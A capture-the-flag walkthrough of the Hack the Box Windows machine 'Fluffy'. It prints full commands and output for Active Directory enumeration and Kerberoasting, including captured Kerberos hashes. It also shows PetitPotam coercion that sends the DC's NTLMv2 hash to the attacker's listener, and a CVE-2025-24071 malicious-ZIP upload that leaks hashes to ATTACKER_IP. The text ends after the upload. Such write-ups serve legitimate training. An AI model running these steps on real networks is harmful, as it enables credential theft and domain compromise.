
Hack the Box: Fluffy Walkthrough
Machine Stats
Name
Fluffy
OS
Windows
Rating
Medium
Enumeration
I started by running my standard nmap scan.
$ nmap -A -T4 -p- 10.10.11.69
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-27 20:04 CDT
Nmap scan report for 10.10.11.69
Host is up (0.010s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-08-28 08:07:13Z)
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-08-28T08:08:47+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-08-28T08:08:47+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-08-28T08:08:47+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-08-28T08:08:47+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after: 2026-04-17T16:04:17
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49689/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49690/tcp open msrpc Microsoft Windows RPC
49693/tcp open msrpc Microsoft Windows RPC
49712/tcp open msrpc Microsoft Windows RPC
49718/tcp open msrpc Microsoft Windows RPC
49778/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (89%)
Aggressive OS guesses: Microsoft Windows Server 2019 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 7h00m00s
| smb2-time:
| date: 2025-08-28T08:08:06
|_ start_date: N/A
TRACEROUTE (using port 139/tcp)
HOP RTT ADDRESS
1 9.11 ms 10.10.14.1
2 9.32 ms 10.10.11.69
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 227.20 seconds
I added dc01 and fluffy.htb to my /etc/hosts file.
We are provided an initial credential pair: j.fleischman / J0elTHEM4n1990!
rpcclient
I started by using an authenticated rpcclient call to enumerate a list of users and gather information about the domain.
$ rpcclient -U 'j.fleischman' 10.10.11.69
Password for [WORKGROUP\j.fleischman]:
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[ca_svc] rid:[0x44f]
user:[ldap_svc] rid:[0x450]
user:[p.agila] rid:[0x641]
user:[winrm_svc] rid:[0x643]
user:[j.coffey] rid:[0x645]
user:[j.fleischman] rid:[0x646]
rpcclient $> querydominfo
Domain: FLUFFY
Server:
Comment:
Total Users: 43
Total Groups: 0
Total Aliases: 17
Sequence No: 1
Force Logoff: -1
Domain Server State: 0x1
Server Role: ROLE_DOMAIN_PDC
Unknown 3: 0x1
I turned the usernames into a file called users.txt for later use. The username ca_svc gives me a hint that AD certificate services may be in play later.
enum4linux-ng
As standard practice when doing CTF style machines, I ran an authenticated enum4linux-ng with our credentials.
$ enum4linux-ng 10.10.11.69 -u j.fleischman -p 'J0elTHEM4n1990!'
ENUM4LINUX - next generation (v1.3.4)
==========================
| Target Information |
==========================
[*] Target ........... 10.10.11.69
[*] Username ......... 'j.fleischman'
[*] Random Username .. 'odadniym'
[*] Password ......... 'J0elTHEM4n1990!'
[*] Timeout .......... 5 second(s)
====================================
| Listener Scan on 10.10.11.69 |
====================================
[*] Checking LDAP
[+] LDAP is accessible on 389/tcp
[*] Checking LDAPS
[+] LDAPS is accessible on 636/tcp
[*] Checking SMB
[+] SMB is accessible on 445/tcp
[*] Checking SMB over NetBIOS
[+] SMB over NetBIOS is accessible on 139/tcp
===================================================
| Domain Information via LDAP for 10.10.11.69 |
===================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: fluffy.htb
==========================================================
| NetBIOS Names and Workgroup/Domain for 10.10.11.69 |
==========================================================
[-] Could not get NetBIOS names information via 'nmblookup': timed out
========================================
| SMB Dialect Check on 10.10.11.69 |
========================================
[*] Trying on 445/tcp
[+] Supported dialects and settings:
Supported dialects:
SMB 1.0: false
SMB 2.02: true
SMB 2.1: true
SMB 3.0: true
SMB 3.1.1: true
Preferred dialect: SMB 3.0
SMB1 only: false
SMB signing required: true
==========================================================
| Domain Information via SMB session for 10.10.11.69 |
==========================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: DC01
NetBIOS domain name: FLUFFY
DNS domain: fluffy.htb
FQDN: DC01.fluffy.htb
Derived membership: domain member
Derived domain: FLUFFY
========================================
| RPC Session Check on 10.10.11.69 |
========================================
[*] Check for null session
[+] Server allows session using username '', password ''
[*] Check for user session
[+] Server allows session using username 'j.fleischman', password 'J0elTHEM4n1990!'
[*] Check for random user
[+] Server allows session using username 'odadniym', password 'J0elTHEM4n1990!'
[H] Rerunning enumeration with user 'odadniym' might give more results
==================================================
| Domain Information via RPC for 10.10.11.69 |
==================================================
[+] Domain: FLUFFY
[+] Domain SID: S-1-5-21-497550768-2797716248-2627064577
[+] Membership: domain member
==============================================
| OS Information via RPC for 10.10.11.69 |
==============================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found OS information via SMB
[*] Enumerating via 'srvinfo'
[+] Found OS information via 'srvinfo'
[+] After merging OS information we have the following result:
OS: Windows 10, Windows Server 2019, Windows Server 2016
OS version: '10.0'
OS release: '1809'
OS build: '17763'
Native OS: not supported
Native LAN manager: not supported
Platform id: '500'
Server type: '0x80102b'
Server type string: Wk Sv PDC Tim NT
====================================
| Users via RPC on 10.10.11.69 |
====================================
[*] Enumerating users via 'querydispinfo'
[+] Found 9 user(s) via 'querydispinfo'
[*] Enumerating users via 'enumdomusers'
[+] Found 9 user(s) via 'enumdomusers'
[+] After merging user results we have 9 user(s) total:
'1103':
username: ca_svc
name: certificate authority service
acb: '0x00000210'
description: (null)
'1104':
username: ldap_svc
name: ldap service
acb: '0x00000210'
description: (null)
'1601':
username: p.agila
name: Prometheus Agila
acb: '0x00000210'
description: (null)
'1603':
username: winrm_svc
name: winrm service
acb: '0x00000210'
description: (null)
'1605':
username: j.coffey
name: John Coffey
acb: '0x00000210'
description: (null)
'1606':
username: j.fleischman
name: Joel Fleischman
acb: '0x00000210'
description: (null)
'500':
username: Administrator
name: (null)
acb: '0x00000210'
description: Built-in account for administering the computer/domain
'501':
username: Guest
name: (null)
acb: '0x00000214'
description: Built-in account for guest access to the computer/domain
'502':
username: krbtgt
name: (null)
acb: '0x00020011'
description: Key Distribution Center Service Account
=====================================
| Groups via RPC on 10.10.11.69 |
=====================================
[*] Enumerating local groups
[+] Found 5 group(s) via 'enumalsgroups domain'
[*] Enumerating builtin groups
[+] Found 28 group(s) via 'enumalsgroups builtin'
[*] Enumerating domain groups
[+] Found 17 group(s) via 'enumdomgroups'
[+] After merging groups results we have 50 group(s) total:
'1101':
groupname: DnsAdmins
type: local
'1102':
groupname: DnsUpdateProxy
type: domain
'1604':
groupname: Service Account Managers
type: domain
'1607':
groupname: Service Accounts
type: domain
'498':
groupname: Enterprise Read-only Domain Controllers
type: domain
'512':
groupname: Domain Admins
type: domain
'513':
groupname: Domain Users
type: domain
'514':
groupname: Domain Guests
type: domain
'515':
groupname: Domain Computers
type: domain
'516':
groupname: Domain Controllers
type: domain
'517':
groupname: Cert Publishers
type: local
'518':
groupname: Schema Admins
type: domain
'519':
groupname: Enterprise Admins
type: domain
'520':
groupname: Group Policy Creator Owners
type: domain
'521':
groupname: Read-only Domain Controllers
type: domain
'522':
groupname: Cloneable Domain Controllers
type: domain
'525':
groupname: Protected Users
type: domain
'526':
groupname: Key Admins
type: domain
'527':
groupname: Enterprise Key Admins
type: domain
'544':
groupname: Administrators
type: builtin
'545':
groupname: Users
type: builtin
'546':
groupname: Guests
type: builtin
'548':
groupname: Account Operators
type: builtin
'549':
groupname: Server Operators
type: builtin
'550':
groupname: Print Operators
type: builtin
'551':
groupname: Backup Operators
type: builtin
'552':
groupname: Replicator
type: builtin
'553':
groupname: RAS and IAS Servers
type: local
'554':
groupname: Pre-Windows 2000 Compatible Access
type: builtin
'555':
groupname: Remote Desktop Users
type: builtin
'556':
groupname: Network Configuration Operators
type: builtin
'557':
groupname: Incoming Forest Trust Builders
type: builtin
'558':
groupname: Performance Monitor Users
type: builtin
'559':
groupname: Performance Log Users
type: builtin
'560':
groupname: Windows Authorization Access Group
type: builtin
'561':
groupname: Terminal Server License Servers
type: builtin
'562':
groupname: Distributed COM Users
type: builtin
'568':
groupname: IIS_IUSRS
type: builtin
'569':
groupname: Cryptographic Operators
type: builtin
'571':
groupname: Allowed RODC Password Replication Group
type: local
'572':
groupname: Denied RODC Password Replication Group
type: local
'573':
groupname: Event Log Readers
type: builtin
'574':
groupname: Certificate Service DCOM Access
type: builtin
'575':
groupname: RDS Remote Access Servers
type: builtin
'576':
groupname: RDS Endpoint Servers
type: builtin
'577':
groupname: RDS Management Servers
type: builtin
'578':
groupname: Hyper-V Administrators
type: builtin
'579':
groupname: Access Control Assistance Operators
type: builtin
'580':
groupname: Remote Management Users
type: builtin
'582':
groupname: Storage Replica Administrators
type: builtin
=====================================
| Shares via RPC on 10.10.11.69 |
=====================================
[*] Enumerating shares
[+] Found 6 share(s):
ADMIN$:
comment: Remote Admin
type: Disk
C$:
comment: Default share
type: Disk
IPC$:
comment: Remote IPC
type: IPC
IT:
comment: ''
type: Disk
NETLOGON:
comment: Logon server share
type: Disk
SYSVOL:
comment: Logon server share
type: Disk
[*] Testing share ADMIN$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share C$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share IPC$
[+] Mapping: OK, Listing: NOT SUPPORTED
[*] Testing share IT
[+] Mapping: OK, Listing: OK
[*] Testing share NETLOGON
[+] Mapping: OK, Listing: OK
[*] Testing share SYSVOL
[+] Mapping: OK, Listing: OK
========================================
| Policies via RPC for 10.10.11.69 |
========================================
[*] Trying port 445/tcp
[+] Found policy:
Domain password information:
Password history length: 24
Minimum password length: 7
Maximum password age: 41 days 23 hours 53 minutes
Password properties:
- DOMAIN_PASSWORD_COMPLEX: false
- DOMAIN_PASSWORD_NO_ANON_CHANGE: false
- DOMAIN_PASSWORD_NO_CLEAR_CHANGE: false
- DOMAIN_PASSWORD_LOCKOUT_ADMINS: false
- DOMAIN_PASSWORD_PASSWORD_STORE_CLEARTEXT: false
- DOMAIN_PASSWORD_REFUSE_PASSWORD_CHANGE: false
Domain lockout information:
Lockout observation window: 10 minutes
Lockout duration: 10 minutes
Lockout threshold: None
Domain logoff information:
Force logoff time: not set
========================================
| Printers via RPC for 10.10.11.69 |
========================================
[+] No printers available
Completed after 8.52 seconds
The biggest takeaways for me from this are that SMB signing is TRUE on this DC, and I am seeing groups related to certificate services. This combined with the username we saw earlier makes me think that we may need to eventually use certipy.
ASEP roast/GetNPUsers
With a list of known usernames, we can try an ASEP roast to look for users with UF_DONT_REQUIRE_PREAUTH set
impacket-GetNPUsers -usersfile /tmp/users.txt -request -format hashcat -dc-ip 10.10.11.69 'fluffy.htb/'
Impacket v0.13.0.dev0+20250130.104306.0f4b866 - Copyright Fortra, LLC and its affiliated companies
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User ca_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ldap_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User p.agila doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User winrm_svc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.coffey doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.fleischman doesn't have UF_DONT_REQUIRE_PREAUTH set
Kerberoast/GetUserSPNs
Next, because we have service accounts, I will try to do a kerberoast to see if I can coax out a kerberos hash that can be cracked.
$ impacket-GetUserSPNs fluffy.htb/j.fleischman:J0elTHEM4n1990! -dc-ip 10.10.11.69 -request
Impacket v0.13.0.dev0+20250130.104306.0f4b866 - Copyright Fortra, LLC and its affiliated companies
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
---------------------- --------- --------------------------------------------- -------------------------- -------------------------- ----------
ADCS/ca.fluffy.htb ca_svc CN=Service Accounts,CN=Users,DC=fluffy,DC=htb 2025-04-17 11:07:50.136701 2025-05-21 17:21:15.969274
LDAP/ldap.fluffy.htb ldap_svc CN=Service Accounts,CN=Users,DC=fluffy,DC=htb 2025-04-17 11:17:00.599545 <never>
WINRM/winrm.fluffy.htb winrm_svc CN=Service Accounts,CN=Users,DC=fluffy,DC=htb 2025-05-17 19:51:16.786913 2025-05-19 10:13:22.188468
[-] CCache file is not found. Skipping...
$krb5tgs$23$*ca_svc$FLUFFY.HTB$fluffy.htb/ca_svc*$b685182a4dcb9283ca2a4ace41ff0243$e43b28ddda861265bd369add4127c6379f33c3bd7f7849e127ed2566460548639c9a318d2a188415fc04424eb521ba3d267cfdf44bbe4ecd212d6f6e915c1ba41fafce3b12e647d4f9cf1ad347d083fdf517a59857a6f89edcf8598f214b17111ec1afddde743597a78d5a902952a2d696f6acc01800e0729417fb071b99f520eb48386016e3a8e594dafb2f8ebf0c980b95cc18c923c30c316686700e1b4a761715426b26e56a908ef0ee0f2d28547b600236ee4e1db1762a8d6ef8f764b5a102c620285239f77833c55e810ef880d36b62405090e41bdc8540ef4ac6196e0da7f1185ee78f51977c746cc906f9d9786d141e2f7a2a75e8f82e70f2f639b9742736483eccd79d346d2bc72a6df003adf0581a9b3ddf5f0a0ee26838f6ff37584c73a5e7b2bf91dfeb013fedaaf90f05c51ca0f44775d6f68d176ec4550f48b98ad4f6232bd34257910bd4c9361ac10315397dee456674bcecd63a69c8a5365c8ec816d5fbdc37249b5f3501acba7b6e7fe5edd29bf1db22d903a941a998f204a526ec04679a92877fc13a71d91b7364b4b34ad97721458f3c9f8290b5fe1672c7c1525a81b61ad310f23a6b3c02cd58c9f7d13c84d48ba6bfb1c3bb0744b5f0bbb1af85f70a73f9fba97274231e1a0d4eecddee4a192a932499c87a21446b7a6e042ee2ca4fba5d2c161e05d0bac1e6410e13a06b258ce8b3bc7a37e04e57a883ed3202dfc8fe2034a7fd3848e7913281eefea30028886b53e1768483763b18655106accf6a9e89705bc188cd9af72304d03ff2a4a967dfe48929f0e07028eee95d630304e40b01b7f3aafa4ccd5956f4c170d31252648cc47b29215e400b768e13a2bd3c190c53c82e29d61e21c13791455b3d9f28c7f28abf498cba5b0f099c3a6939e82c632ca73d06ed0585b647ffea172229473adc1d564eb543fcad04f3f5f9605455ae739f8940897b1e4ec4f0127be21fda8eaf48c8d0be0492422e42ee329576019bb70d4c12fe7d12c9aad7adcec39370b8fce2cdb344db4f629076c2dd7a383c1d502bcea330211fc7b8f077b9e4df18cd07bebb0bffee6feadd13283555d05b8c6438967ace131a5b3ed6dbef9967c9ca8cb2af56267cacc9ac48dc54be2f65871db005b326c8f61a687a57aa4b410ca34bb9e99f4d2923c57b06ee07c86b7a8dd04163a32512d0f1db6e9134758017905711a868fecadb1c5f7ab647ef2ded80dec0f0a8f591f3957f21e1b91816dff213e9a24947e7c5d10f8c4552e5308593ed68d8e1fb28ae3610cfb225eecdd98a528fc3c060945bb99bcd51c81d958f3ffca6481bb52e5c3cf48c3fdaaba49f646f66940b7473e558a6855cf8c4ef60af6bd03a4f84a7716545c663b6ec5a2964a23020b9bf5f8c6ed206ecf4d928a92b22c33ec5f50115467db893aca6e3b1f0a5c08299f395d210137710df5b40cb2ebefbaa5d46f48777fa2fbaf1d469ef02679484c345f6d467be5d17fbbe6de42c533ea192d9109d2afd2b5d0bdc5e037fd7e97de4b7d78a5de915c77323abad1d
$krb5tgs$23$*ldap_svc$FLUFFY.HTB$fluffy.htb/ldap_svc*$965f17ef10bb486a433a24a7d13abcb4$86458648092060789de9837dd56eb4b4fc76a2b1d6e384e4d0985460ac2f37df5af46450100e0a6e4c9d16ecf49e0d1a1cc61f0b330a28b9adc47abb12c1bd12bb02f096d9e380bb106f78deff5e3c975f0d719e04963355665869e1e12ca507d7d602ee833e6b7780b8a99bd22b18069168dac1fa83ca32281e391ef25fb272ab8c7380cf2fe78a5e50aefded5bcbfb73e062cca82b990e22699c45de5a98b1dfd60dd0d6f113e7e713599bab46324f6d49541a7b0ac804c602b0c2e0f9cc0bf132e4b7a036789b6635f15bffecf61f114ea56bcb4a4810ce67f87eed5f4ffc6e896d8f04a3011f31d1dfefcc6f76f72fa6691ef7c10cedb673697bb6d757b6d7128c32db28168a3b31ff164fc035dec1d916cf476550503293eb410c6b365b7dfc46a1456a886dbc983925ffea95615d27ca16ddf601ecd15ced50af392e37e55e4bf31870c902c998ad864ccede85e367716ae53eecb9ca80dadde120ed8b5dd7270c2e7c1d082ab0c82897e74c3e84f928b46e259f7b675f6b0f0d583d912997520e15b31ac1af7e1a3df65b20391841b5c13409faadb6ffdb59dbbe8656cc04c83c1d6aa76bfcf5174d5ccd867f86e6d28516728ec892f82b16ff324f65351de46b6aec30cfe05cc5a56c8ed3fc8637094c97ee39fa66712379f0ed65dfb64cd7135f04cf63e4637fad24087649a7cedfbc2486adc08c810e5f14d92c4cdf437ebce35b526ae2d74ea056ad89117616456726844d99e022273b51b7e130b2d243af63d5f6c13896cace2a24b256b6277d32437f12b11e12752ad605fe9946db8e4ea0b2453c82fabd9e6f29fbfa6c5a81c7abb355afb4c9cb262a8e2de054746da8dae7361b5f3b4a36c8bdc41f7082c385a4c1ae674fc1d0227fac1c7e123db0d123b3ed64907551e3a4a0e690d8792d4b5cdff6eee7ec464d52311bda1866154effa88b48a5f5c5e8f8039c88265d185394cf44319413b6ddbe50e9c3c37b0f6d1a5b6c8e46be40103198eceda635591ec361610637f82ce352854dcafc37af5fc012aa734bf962ad80f2c03dc8df472e1866e0e1f1e38b68b3b453eee0bc29ad6c70de0ad378596e0790c7b6bc9402364ddd99ce27abf4b6368c10d6962563671e89dd9fd3fb10ae0fed9f0cc5b380e470521de6e509097f42e9c68d37128de9e6f060cbefe538341d93f9edc582998ff235f14fda7f46238bfd0b76246a8e911a3d4066ac45ff10567433078546cf8dab5d5253404d03652dd6d40c51d791d926c77a8b7f7c3e3f98fda3bb208e28077ccb24b5eb504a7c02787cff2d4f9028d00f16197cf4b5f94531cb875f9607535e4626f7a8355683300927501a969397bff908513cfadd27e65be2c02be92f557e07fc35650204839ecd09f82e04bac0dbfefdeeed374f39285f646bd9524b643cb7d38ab98f1cf7c58774e2974d1ef25275e81ca72023d662a328a2987192096bed941cae06c9cb206ecec0e8c06abd6b9aad68cc9a2696fa36faa44295875e004142465b0accd32b9c2d1500e5e3509d58e5
$krb5tgs$23$*winrm_svc$FLUFFY.HTB$fluffy.htb/winrm_svc*$86fce68796a126fab2af8985946a0b53$48e216ad6983c526650ed70c37ba555838396234304fc0932218bd88b5e442254ba83b84d4f8a8b9e05455794891684954b2af9422287a58cf1af71fe4b574de91a023c0f17e8b6c7141919e18ddf1db9b2c616b42599ba6bd23a7a90d5148cc38dac0b0c0f5b8e514a904c27549f505d867f924aea35c1d727220c18def5aa3753c2065eea32cb5ca6056117d67fa0b6cc88180fe64eabda519dc2509a0c7d6341f400b251a48a4a7121534046b317eab61ad0933da3ed10fcdef903a0c63459220a9e3841815fa8bbc9f63ce6f1167c7e0cea18e38b9f3c2b55414a8a0fd5351ea945b389c854940b8c65d4706ff1f80a7d592bfbcc9dec05e76e8cd4bbad370dea703ef25be95dc6c0efee686114ab6c82b94aa3f6427badca9b44bd0cfba08f1db8f25555074d064412699d3db6df1dba70b3b92737a75985c9c7822a1efc432109e7ab6dbe9c0d85049b9c8833c0b6de056fa24f5133b03776f5713a718c8768d420a0217344003e25248a8754fccc979494459aeae6c09b4f6f07cb69ec1ae44a916707a1fdec036f5557dfdc0841eac9f4f8cea7aa933d8f2d2ac4f73c8dd38ca60d421c16e0f821d56542b74fce538c0e42b43503ef8ccd972074d0e7910089730ba5c87c73c160e9a9d4c0fc9716bdb8a515570b4448274557de5ec287cb5b79e79024f3f9c9da43a0ce5cb12343ce83c1ea0227b308eb1681ef10558c546e126ce73d6b80d0c645f81fe02063b02ab94295e7acdc6dab24b28027a12c38cd74468bc196c71994ef8459658077353713a639d512f0ca5817bb05d6f25b23d389a16921637d69fa7dfff0ab7a3c70b52c597a185673f02006f360a45d37e591b45a1e822fd3ac2285a667cdfb1f27c94d6cd924d8a2b6c7dc8a773c9924dfbc3404b4017ab2b3f0a355e38d04942d201a3bd29d46e1888353430b1400324b67cce5b66021ca1d36abd1719e48f5413898ba027df14a79cabc99a5d4e01a10df7ef44fdeb36adca307ed4505836ce3366c240e3c218d50eaaa5fbc7bda6ecae024c1936a37007a2a26bfd022ffc3f6a6c2899e45b3fdf8b03062c6dd46c96c9cae742760c9cea968e8c8da55331ba73870875ea94293a72d5e610dfb47e11532188360b6b050f93146c51f09aece8087edd42c7ff7dd7aa3286378921d568268c049ef3f390f5292bf0f6b511676db0ab7a1e78ab9f499ed8c6aa336961cb7fd3b33d110f26a9eef0492adcb202e9a36617f2376b03227b3e42a02d7187529cc5145646870af799241f32bf5df24641284ed6ce253bf7eabd5ee1055a0982a6c47bd3e9e5a4525805d13aed46960bbcf9d906ba9486a2195a6b87e1dfe5872793caf25e8e5f053ed924be0b142697a1ede9de220cbf405b20b302cda554ed7445b2309d441fdfd9d2a32cb4b70477d7fb690dbbd002523edff0dfc5cab429e03b0fa4435eb42fe94127861d0c430fd355f39a18c0378883c7d064488926eb1311f4afb81391959f503981a191fc344ec78c9d5c1dbd08385fd05c28300ecdf68458f74d
We yield a kerberos hash for the three service accounts, which is exciting until running hashcat on them yields zero results.
$ hashcat -m 13100 ca_svc /usr/share/wordlists/rockyou.txt.gz
$ hashcat -m 13100 winrm_svc /usr/share/wordlists/rockyou.txt.gz
$ hashcat -m 13100 ldap_svc /usr/share/wordlists/rockyou.txt.gz
Status...........: Exhausted
nxc, petitpotam coersion
I decided to run ncx with petitpotam as a module to see if I can coax out an NTLMv2 hash for the domain controller’s machine account to use for ntlmrelayx purposes.
$ sudo responder -I tun0
$ nxc smb fluffy.htb -u j.fleischman -p 'J0elTHEM4n1990!' -M petitpotam -o LISTENER=10.10.14.30
SMB 10.10.11.69 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.69 445 DC01 [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
PETITPOTAM 10.10.11.69 445 DC01 VULNERABLE
PETITPOTAM 10.10.11.69 445 DC01 Next step: https://github.com/topotam/PetitPotam
[SMB] NTLMv2-SSP Client : 10.10.11.69
[SMB] NTLMv2-SSP Username : FLUFFY\DC01$
[SMB] NTLMv2-SSP Hash : DC01$::FLUFFY:5735ab08fc3ff570:4773634CCC1CC04CC0100177AD0340A8:0101000000000000802C830FD517DC013435E2A1DA0C64330000000002000800430047004700470001001E00570049004E002D0041004700560036004C004200450056004A005A00350004003400570049004E002D0041004700560036004C004200450056004A005A0035002E0043004700470047002E004C004F00430041004C000300140043004700470047002E004C004F00430041004C000500140043004700470047002E004C004F00430041004C0007000800802C830FD517DC01060004000200000008003000300000000000000000000000004000001C3F319CED08CF666A618DB56CC9525ADB4329BE0E105D1461CD8AA23D39036F0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00330030000000000000000000
Given that signing is enabled here, and this is the only server, I don’t think this will be very useful, but can always try to crack it for kicks. Though there’s a very slim chance that will yield anything.
$ hashcat -m 5600 dc01 /usr/share/wordlists/rockyou.txt.gz
hashcat (v6.2.6) starting
Status...........: Exhausted
Path to user.txt
Enumerating SMB shares
Using NXC, I discover an IT share that is set for read/write
$ nxc smb fluffy.htb -u j.fleischman -p 'J0elTHEM4n1990!' --shares
SMB 10.10.11.69 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.69 445 DC01 [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
SMB 10.10.11.69 445 DC01 [*] Enumerated shares
SMB 10.10.11.69 445 DC01 Share Permissions Remark
SMB 10.10.11.69 445 DC01 ----- ----------- ------
SMB 10.10.11.69 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.69 445 DC01 C$ Default share
SMB 10.10.11.69 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.69 445 DC01 IT READ,WRITE
SMB 10.10.11.69 445 DC01 NETLOGON READ Logon server share
SMB 10.10.11.69 445 DC01 SYSVOL READ Logon server share
We can see that there are some files inside the share. Of particular interest is the Upgrade_Notice.pdf file.
$ smbclient \\\\10.10.11.69\\IT -U "j.fleischman" --password J0elTHEM4n1990!
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Aug 28 04:54:07 2025
.. D 0 Thu Aug 28 04:54:07 2025
Everything-1.4.1.1026.x64 D 0 Fri Apr 18 10:08:44 2025
Everything-1.4.1.1026.x64.zip A 1827464 Fri Apr 18 10:04:05 2025
KeePass-2.58 D 0 Fri Apr 18 10:08:38 2025
KeePass-2.58.zip A 3225346 Fri Apr 18 10:03:17 2025
Upgrade_Notice.pdf A 169963 Sat May 17 09:31:07 2025
5842943 blocks of size 4096. 1982344 blocks available
Here’s what that file looks like.

Of immediate interest are the two critical rated vulnerabilities, CVE-2025-24996 and CVE-2025-24071, summarized below:
CVE-2025-24996 – External control of file name/path in Windows NTLM that enables spoofing attacks.
CVE-2025-24071 – Spoofing vulnerability in Windows File Explorer leaking NTLM credentials via crafted files.
CVE-2025-24071 exploitation
CVE-2025-24071 stood out to me more, especially because one of the descriptions I read mentioned network shares. Because we have a read/write share we can access, that made the lightbulb go off. I browsed around and found a custom Metasploit module here: https://github.com/FOLKS-iwd/CVE-2025-24071-msfvenom
Because I have to run Metasploit’s smb capture module, I ran it as root.
sudo su
msfconsole
....
[msf](Jobs:0 Agents:0) >> loadpath /home/pegasustea/.msf4/modules/
Loaded 1 modules:
1 auxiliary modules
use auxilary/server/ntlm_hash_leak
Because IT is the only share we can write to I theorized it is the right one to use here in the settings.
Module options (auxiliary/server/ntlm_hash_leak):
Name Current Setting Required Description
---- --------------- -------- -----------
ATTACKER_IP 10.10.14.30 yes The IP address to which the SMB request will be sent
FILENAME exploit.zip yes The name of the ZIP file to create
LIBRARY_NAME malicious.library-ms yes The name of the .library-ms file
SHARE_NAME IT yes The SMB share name to use in the .library-ms file
I ran the module and the malicious zip file was created.
[msf](Jobs:0 Agents:0) auxiliary(server/ntlm_hash_leak) >> run
[*] Malicious ZIP file created: exploit.zip
[*] Host the file and wait for the victim to extract it.
[*] Ensure you have an SMB capture server running to collect NTLM hashes.
[*] Auxiliary module execution completed
I ran the SMB capture module…
[msf](Jobs:0 Agents:0) auxiliary(server/capture/smb) >> run
[*] Auxiliary module running as background job 0.
[*] Server is running. Listening on 10.10.14.30:445
[*] Server started.
I used smbclient to move the malicious zip file to the IT share
└──╼ [★]$ smbclient \\\\10.10.11.69\\IT -U "j.fleischman" --password J0elTHEM4n1990!
smb: \> put /home/pegasustea/.msf4/modules/exploit.zip exploit.zip
putting file /home/pegasustea/.msf4/modules/exploit.zip as \exploit.zip (11.0 kb/s) (average 11.0 kb/s)
smb: \> ls
. D 0 Thu Aug 28 05:57:36 2025
.. D 0 Thu Aug 28 05:57:36 2025
Everything-1.4.1.1026.x64 D 0 Fri Apr 18 10:08:44 2025
Everything-1.4.1.1026.x64.zip A 1827464 Fri Apr 18 10:04:05 2025
exploit.zip A 326 Thu Aug 28 05:57:36 2025
KeePass-2.58 D 0 Fri Apr 18 10:08:38 2025
KeePass-2.58.zip A 3225346 Fri Apr 18 10:03:17 2025
Upgrade_Notice.pdf A 169963 Sat May 17 09:31:07 2025
